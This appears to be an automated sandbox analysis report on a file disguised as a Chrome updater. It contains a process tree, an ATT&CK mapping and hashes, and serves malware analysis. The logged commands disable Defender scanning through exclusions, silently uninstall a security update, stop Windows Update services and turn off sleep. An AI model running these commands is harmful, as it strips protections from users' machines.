C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3196

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1772

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:1364

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3168

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5044
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2384
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3108
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1592
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1692
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2264
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:796
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1012
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:740
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1744
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1316
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1532
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1936
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:2284
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:692

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\ProgramData\Google\Chrome\updater.exe

Filesize
15.9MB

MD5
d3c16cede9b6e4ee304a0184328d313d

SHA1
bd82838a3cc343956ecce4d5051b510dd941de11

SHA256
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

SHA512
284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eey13r5g.fet.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
8d346e67fe454926c9be4324ada55a7f

SHA1
b75f48371401e1a22f475ea5ebc212168cb3b6d6

SHA256
b0d81bc6e9ed18f4b19f3057d3c1b6ef65eaec17c7e27031a67c3220ee487c21

SHA512
e719a64ec49c0859d8611446a8ce9376d61ce9302bc78faa0f22dc6b775d3c0eb6aa5c293f8df8bf409861ae19f2ffa9e80e3a2cea6312f60aa70d3ae3e4181a

Download Submit
memory/612-81-0x00007FFA0D250000-0x00007FFA0D260000-memory.dmp

Filesize
64KB

Download
memory/612-80-0x0000021082860000-0x000002108288B000-memory.dmp

Filesize
172KB

Download
memory/612-73-0x0000021082860000-0x000002108288B000-memory.dmp

Filesize
172KB

Download
memory/612-72-0x0000021082830000-0x0000021082855000-memory.dmp

Filesize
148KB

Download
memory/612-74-0x0000021082860000-0x000002108288B000-memory.dmp

Filesize
172KB

Download
memory/672-85-0x000002A488660000-0x000002A48868B000-memory.dmp

Filesize
172KB

Download
memory/672-91-0x000002A488660000-0x000002A48868B000-memory.dmp

Filesize
172KB

Download
memory/672-92-0x00007FFA0D250000-0x00007FFA0D260000-memory.dmp

Filesize
64KB

Download
memory/936-96-0x00000282937A0000-0x00000282937CB000-memory.dmp

Filesize
172KB

Download
memory/936-103-0x00007FFA0D250000-0x00007FFA0D260000-memory.dmp

Filesize
64KB

Download
memory/936-102-0x00000282937A0000-0x00000282937CB000-memory.dmp

Filesize
172KB

Download
memory/1016-107-0x0000016957AC0000-0x0000016957AEB000-memory.dmp

Filesize
172KB

Download
memory/1992-53-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1992-61-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1992-69-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1992-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1992-52-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1992-62-0x00007FFA4D1D0000-0x00007FFA4D3C5000-memory.dmp

Filesize
2.0MB

Download
memory/1992-63-0x00007FFA4B860000-0x00007FFA4B91E000-memory.dmp

Filesize
760KB

Download
memory/1992-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2152-50-0x00007FFA4B860000-0x00007FFA4B91E000-memory.dmp

Filesize
760KB

Download
memory/2152-49-0x00007FFA4D1D0000-0x00007FFA4D3C5000-memory.dmp

Filesize
2.0MB

Download
memory/2152-48-0x0000022AEC620000-0x0000022AEC64A000-memory.dmp

Filesize
168KB

Download
memory/3344-22-0x00007FFA2E420000-0x00007FFA2EEE1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-18-0x00007FFA2E420000-0x00007FFA2EEE1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-8-0x0000027E69800000-0x0000027E69822000-memory.dmp

Filesize
136KB

Download
memory/3344-7-0x00007FFA2E423000-0x00007FFA2E425000-memory.dmp

Filesize
8KB

Download
memory/3344-19-0x00007FFA2E420000-0x00007FFA2EEE1000-memory.dmp

Filesize
10.8MB

Download
memory/3352-424-0x00000199F7870000-0x00000199F7925000-memory.dmp

Filesize
724KB

Download
memory/3352-809-0x00000199F7B20000-0x00000199F7B3A000-memory.dmp

Filesize
104KB

Download
memory/3352-812-0x00000199F7AD0000-0x00000199F7ADA000-memory.dmp

Filesize
40KB

Download
memory/3352-811-0x00000199F7AC0000-0x00000199F7AC6000-memory.dmp

Filesize
24KB

Download
memory/3352-810-0x00000199F7A90000-0x00000199F7A98000-memory.dmp

Filesize
32KB

Download
memory/3352-808-0x00000199F7A80000-0x00000199F7A8A000-memory.dmp

Filesize
40KB

Download
memory/3352-543-0x00000199F7AA0000-0x00000199F7ABC000-memory.dmp

Filesize
112KB

Download
memory/3352-469-0x00000199F7930000-0x00000199F793A000-memory.dmp

Filesize
40KB

Download
memory/3352-413-0x00000199F54D0000-0x00000199F54EC000-memory.dmp

Filesize
112KB

Download
memory/3860-27-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3860-26-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3860-24-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3860-25-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3860-29-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/4612-31-0x00007FF67DB60000-0x00007FF67F762000-memory.dmp

Filesize
28.0MB

Download
memory/4612-6-0x00007FF67DB60000-0x00007FF67F762000-memory.dmp

Filesize
28.0MB

Download
memory/4612-0-0x00007FF67E0AD000-0x00007FF67E781000-memory.dmp

Filesize
6.8MB

Download
memory/4612-32-0x00007FF67E0AD000-0x00007FF67E781000-memory.dmp

Filesize
6.8MB

Download
memory/4612-5-0x00007FF67E0AD000-0x00007FF67E781000-memory.dmp

Filesize
6.8MB

Download
memory/4612-2-0x00007FF67DB60000-0x00007FF67F762000-memory.dmp

Filesize
28.0MB

Download
memory/4612-1-0x00007FFA4D3D0000-0x00007FFA4D3D2000-memory.dmp

Filesize
8KB

Download
memory/5044-44-0x00007FFA4D3D0000-0x00007FFA4D3D2000-memory.dmp

Filesize
8KB

Download
memory/5044-45-0x00007FF6023D0000-0x00007FF603FD2000-memory.dmp

Filesize
28.0MB

Download